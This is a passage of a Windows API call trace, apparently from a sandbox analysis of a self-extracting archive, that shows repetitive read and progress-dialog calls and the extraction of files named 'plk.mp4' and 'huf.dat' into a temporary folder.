[0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.546] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.546] GetTickCount () returned 0x1fc0a [0068.546] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.546] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.546] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.547] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.547] GetTickCount () returned 0x1fc0a [0068.547] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.547] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.547] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.547] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.547] GetTickCount () returned 0x1fc0a [0068.547] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.547] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.547] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.547] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.547] GetTickCount () returned 0x1fc0a [0068.547] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.547] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x22f, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x22f, lpOverlapped=0x0) returned 1 [0068.548] GetTickCount () returned 0x1fc0a [0068.548] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.548] SetFilePointer (in: hFile=0x1c, lDistanceToMove=875664, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd5c90 [0068.548] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.548] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.548] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.548] CloseHandle (hObject=0x138) returned 1 [0068.548] SetFileAttributesA (lpFileName="plk.mp4", dwFileAttributes=0x20) returned 1 [0068.548] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd5c90 [0068.549] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.549] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.549] OemToCharA (in: pSrc="huf.dat", pDst=0x179cc0 | out: pDst="huf.dat") returned 1 [0068.549] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="huf.dat", cchCount2=1) returned 1 [0068.549] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="huf.dat", cchCount2=6) returned 1 [0068.549] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="huf.dat", cchCount2=-1) returned 1 [0068.549] SetFilePointer (in: hFile=0x1c, lDistanceToMove=875708, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd5cbc [0068.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="huf.dat") returned 8 [0068.549] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a6b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.549] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting huf.dat") returned 18 [0068.549] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting huf.dat") returned 1 [0068.549] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.549] OemToCharBuffA (in: lpszSrc="h", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="h") returned 1 [0068.549] CharToOemBuffA (in: lpszSrc="H", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="H") returned 1 [0068.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="huf.dat") returned 8 [0068.550] FindFirstFileW (in: lpFileName="huf.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.550] GetLastError () returned 0x2 [0068.550] GetFileAttributesA (lpFileName="huf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\huf.dat")) returned 0xffffffff [0068.550] CreateFileA (lpFileName="huf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\huf.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.550] GetFileType (hFile=0x138) returned 0x1 [0068.550] SetFilePointer (in: hFile=0x138, lDistanceToMove=523, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x20b [0068.550] SetEndOfFile (hFile=0x138) returned 1 [0068.550] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.550] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a8, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a8, lpOverlapped=0x0) returned 1 [0068.550] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.550] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.550] GetTickCount () returned 0x1fc19 [0068.550] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.550] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.550] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.550] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.550] GetTickCount () returned 0x1fc19 [0068.550] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.550] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.550] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.550] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.550] GetTickCount () returned 0x1fc19 [0068.550] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.550] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.551] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.551] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.551] GetTickCount () returned 0x1fc19 [0068.551] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.551] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.552] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.552] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.552] GetTickCount () returned 0x1fc19 [0068.552] PeekMessageW 